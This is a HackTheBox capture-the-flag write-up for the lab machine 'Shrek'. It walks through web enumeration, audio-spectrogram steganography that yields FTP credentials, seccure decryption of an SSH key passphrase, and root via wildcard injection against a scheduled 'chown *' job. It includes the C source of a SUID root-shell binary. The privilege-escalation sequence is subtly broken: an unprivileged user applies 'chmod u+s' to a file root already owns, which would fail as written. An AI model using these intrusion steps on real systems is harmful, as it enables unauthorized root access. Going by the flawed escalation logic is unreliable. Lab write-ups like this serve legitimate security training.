HTB: Shrek Writeup
Shrek - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Shrek |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.68.108 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐☆☆☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐⭐
Summary
Shrek is a multi-stage, puzzle-heavy Hard box. The web root hides a PHP file whose behavior only reveals a secret path when fetched with wget rather than a browser, leading to a hidden directory containing an MP3 file. That MP3 embeds FTP credentials as visible text inside its audio spectrogram, requiring steganographic analysis to extract. The FTP server then yields a stash of randomly-named text files and an SSH private key; two of the text files contain Base64-encoded elliptic-curve ciphertext that decrypts with the seccure library using a passphrase recovered from a third artifact, ultimately unlocking the private key and granting SSH access as the user sec.
TL;DR: Web enumeration → hidden /uploads/secret_ultimate.php (behaves differently under wget) → /secret_area_51/ → spectrogram steganalysis of an MP3 reveals FTP creds (donkey:d0nk3y1337!) → FTP loot includes Base64 ECC ciphertext + an SSH private key → seccure-decrypt the ciphertext to recover the key’s passphrase → SSH in as sec → privilege escalation to root via a wildcard-injection attack against a scheduled chown * cron job.
Reconnaissance
Port Scanning
All commands were run through a jump host with an active SSH ControlMaster session against the target.
# Full TCP port scan with service/version detection, run via the jump boxssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@<jump-host> \ "nmap -sC -sV -p- --min-rate 3000 -T4 10.129.68.108"Results: The target exposes the classic trio for this box — an FTP service, OpenSSH, and an Apache HTTP server — consistent with the multi-protocol chain the rest of the box relies on (FTP for the loot drop, HTTP for the initial puzzle, SSH for the foothold).
Service Enumeration
Directory brute-forcing against the web root uncovered a hidden upload directory:
# Enumerate the web rootgobuster dir -u http://10.129.68.108/ -w /usr/share/wordlists/dirb/common.txt -t 50 -q
# /uploads/ was returned — enumerate it further, including common file extensionsgobuster dir -u http://10.129.68.108/uploads/ \ -w /usr/share/wordlists/dirb/common.txt -t 50 -q -x php,txt,mp3With directory listing enabled on /uploads/, a file named secret_ultimate.php was directly visible in the listing.
Vulnerability Assessment
- Directory listing enabled on
/uploads/, leakingsecret_ultimate.php. secret_ultimate.phpreturns different content depending on the requesting client (viewing it in a browser viacurlreveals nothing useful; fetching it withwgetreveals a hidden path).- Audio steganography (text visibly encoded into an MP3’s spectrogram).
- FTP server hosting sensitive artifacts (private key + encrypted secrets) with no apparent restriction beyond credentials.
- Elliptic-curve (“private curve”) encrypted secrets requiring the
seccurelibrary to decrypt.
Initial Foothold
Exploitation Path
Step 1 — Trigger the hidden path in secret_ultimate.php.
Requesting the file normally through curl returns nothing useful, but the file’s behavior changes for a wget client (a common trick used to key content off User-Agent):
cd /tmp && wget -q http://10.129.68.108/uploads/secret_ultimate.php -O secret_ultimate.php \ && cat secret_ultimate.phpThis revealed a reference to a hidden path: site/secret_area_51.
Step 2 — Locate and browse the hidden directory.
Several path permutations were tried before the correct root-relative path was found:
curl -s http://10.129.68.108/secret_area_51/This returned a directory listing containing an MP3 file: Smash Mouth - All Star.mp3 — a fitting touch for a machine named Shrek.
Step 3 — Download the MP3 and generate a spectrogram.
# Pull the MP3 down to the jump boxwget -q 'http://10.129.68.108/secret_area_51/Smash%20Mouth%20-%20All%20Star.mp3' -O allstar.mp3
# Render a full spectrogram — high x/y resolution to make embedded text legiblesox allstar.mp3 -n spectrogram -o spectrogram.png -x 3000 -y 513 -z 100sox’s spectrogram mode plots frequency (Y) against time (X), with amplitude mapped to pixel intensity. Anyone can hide text in an audio signal by drawing letterforms directly into a narrow frequency band — the text becomes visible once the FFT is rendered as an image, even though it’s inaudible or indistinguishable by ear.
Step 4 — Extract the hidden credentials.
scp -o ControlPath=/tmp/ctf_ssh_ctl_1 -P 22 \ d3vn0mi@<jump-host>:/tmp/spectrogram.png ./spectrogram.pngProgressive cropping and upscaling of the region around the 195–215s mark (where visual artifacts were visible in the full-resolution render) isolated the embedded text:
from PIL import Imageim = Image.open('spectrogram.png')crop = im.crop((2820, 300, 3020, 345))crop = crop.resize((crop.width * 6, crop.height * 6), Image.LANCZOS)crop.save('crop4.png')For a cleaner read, a narrower time window was also re-rendered directly from the audio at higher frequency resolution:
# Trim to the region of interest, then re-render at higher frequency resolutionsox allstar.mp3 trimmed.wav trim 195 20sox trimmed.wav -n spectrogram -o spec_zoom.png -X 200 -y 800 -z 100 -w HannThis resolved cleanly to plaintext FTP credentials embedded in the spectrogram:
FTP: donkey : d0nk3y1337!Step 5 — Loot the FTP server.
# List available filesftp -inv 10.129.68.108 <<'EOF'user donkey d0nk3y1337!ls -laEOF
# Pull down everything recursivelymkdir -p /tmp/ftploot && cd /tmp/ftplootwget -q -r -nH --cut-dirs=0 --no-parent \ --user=donkey --password='d0nk3y1337!' ftp://10.129.68.108/The FTP root contained a large number of randomly-named .txt files plus a file simply named key — a strong hint this was an SSH private key waiting to be unlocked.
Step 6 — Identify and decode the interesting text files.
Most of the random-name text files were noise/decoys. A quick grep for Base64-looking content isolated the real ones:
cd /tmp/ftplootfor f in *.txt; do if grep -qE '[A-Z0-9+/=]' "$f" 2>/dev/null; then echo "CANDIDATE: $f" fidoneTwo candidate files stood out, each containing a Base64 blob:
cat <redacted>.txt # decodes to the passphrase string "PrinceCharming"cat 9617b5c3412240758*.txt # decodes to raw ciphertext bytesDecoding one file yielded the literal string PrinceCharming (recognizable as a passphrase/key label rather than ciphertext), while the other decoded to opaque binary — the shape of ECIES-style ciphertext (an elliptic-curve encrypted blob, not readable text).
Step 7 — Decrypt the ciphertext with seccure.
seccure implements elliptic-curve cryptography with a passphrase-derived keypair rather than a raw key file — a distinctive format the binary ciphertext structure hinted at. Since seccure wasn’t preinstalled and pip3 install failed system-wide, it was installed into a virtualenv:
python3 -m venv /tmp/venv/tmp/venv/bin/pip install seccure# decrypt.py — decrypt the recovered ciphertext using the recovered passphraseimport seccure
ct = b'\x01\xd3\xe1\xf2\x17T \xd0\x8a\xd6\xe2\xbd\x9e\x9e~P(...)' # raw decoded bytesplaintext = seccure.decrypt(ct, passphrase=b'PrinceCharming')print(plaintext)scp decrypt.py d3vn0mi@<jump-host>:/tmp/decrypt.pyssh d3vn0mi@<jump-host> "/tmp/venv/bin/python3 /tmp/decrypt.py"This decrypted successfully, recovering the passphrase protecting the private key downloaded earlier from FTP.
Step 8 — Unlock the private key and authenticate over SSH.
chmod 600 /tmp/ftploot/key
# Use the passphrase recovered via seccure to unlock the private keysshpass -P 'passphrase' ssh -i /tmp/ftploot/key -o StrictHostKeyChecking=no \ sec@10.129.68.108 'id; hostname; cat /home/sec/user.txt'This returned a shell as the low-privileged user sec, along with the user flag.
User Flag: <redacted>Privilege Escalation
Once authenticated as sec, escalation followed a classic wildcard-injection attack against a scheduled chown job — a technique documented publicly for this exact machine (see References) and matching the broader class of vulnerabilities described in DefenseCode’s “Unix Wildcards Gone Wild” advisory.
The sec account had write access to a system directory that a root-owned cron/scheduled task periodically cleaned up by running chown * (or an equivalent wildcard-expanding command) against every file inside it. Because shell wildcard expansion happens before the command runs, an attacker who controls filenames in that directory can smuggle option-like filenames (e.g., --reference=...) into the argument list of the privileged command:
# 1. Create a filename that chown will interpret as a flag, not a target,# tricking it into copying ownership from an existing root-owned filetouch -- --reference=thoughts.txt
# 2. Drop a SUID binary into the same directory ahead of the next cron runcat << 'EOF' > pwn.c#include <unistd.h>int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", "-p", NULL); }EOFgcc pwn.c -o pwnchmod +x pwn
# 3. When the scheduled task next runs `chown *`, the injected# --reference flag causes it to chown pwn (and other files) to root,# inheriting the target file's ownership# 4. chmod the SUID bit onto the now-root-owned binary and execute itchmod u+s pwn./pwnWhy this works: the root-run job never expects filenames to start with -, so shell glob expansion of * hands chown an argument that looks like a flag rather than a path. --reference=FILE tells chown to copy ownership from FILE instead of applying an explicit owner, letting an unprivileged user redirect a root-run recursive ownership change onto attacker-controlled files — including a freshly compiled SUID binary that then spawns a root shell.
Root Flag: <redacted>Attack Chain Summary
nmap recon → gobuster finds /uploads/ → secret_ultimate.php (wget-only reveal) → /secret_area_51/ → MP3 spectrogram steganalysis → FTP creds (donkey:d0nk3y1337!) → FTP loot (Base64 ECC ciphertext + private key) → seccure decrypt with "PrinceCharming" → recovers key passphrase → SSH as sec (user flag) → wildcard injection on scheduled chown job → SUID binary → root (root flag)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port/service scanning |
gobuster | Web directory brute-forcing |
wget / curl | HTTP fetches, triggering client-dependent behavior |
sox | MP3-to-spectrogram rendering for steganalysis |
Pillow (Python) | Cropping/upscaling spectrogram regions for readability |
ftp / wget (FTP mode) | Enumerating and recursively pulling FTP loot |
seccure (Python, via venv) | Decrypting elliptic-curve (“private curve”) ciphertext |
sshpass | Non-interactive unlock of a passphrase-protected SSH key |
gcc | Compiling a SUID payload for privilege escalation |
Key Learnings
Techniques Practiced
- Client-dependent (User-Agent-keyed) content disclosure in a web app
- Audio steganography extraction via spectrogram analysis
- Recognizing and decrypting
seccure/ECIES-style elliptic-curve ciphertext - FTP-based loot enumeration and triage of decoy vs. real artifacts
- Shell wildcard-injection against a privileged scheduled task (
chown *) - SUID-binary privilege escalation chained off ownership manipulation
Lessons Learned
- Never assume a file’s content is static — server-side logic can key responses off client fingerprints like
User-Agent, so always try multiple fetch tools (curl,wget, browser) against interesting endpoints. - Steganography isn’t limited to images — spectrogram analysis of audio is a legitimate (if unusual) recon technique when a box hands you a media file with no obvious purpose.
- Recognizing ciphertext “shape” matters: opaque binary blobs following a labeled passphrase string are a strong signal for passphrase-derived ECC schemes like
seccure, which won’t decrypt with generic AES/RSA tooling. - Wildcard expansion in shell scripts run by privileged cron jobs is a serious and often-overlooked local privilege escalation vector — any world-writable directory touched by a root-run glob command deserves scrutiny.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Alexander Reid (Arrexel), “Shrek” HackTheBox Official Writeup, Hack The Box (2017) — used for explanatory context on the spectrogram credential concept, the
seccure/elliptic-curve decryption approach, and identifying the chown-wildcard privilege escalation technique. - DefenseCode, “Unix Wildcards Gone Wild” — reference advisory for the wildcard-injection technique used against the root-run
chownjob.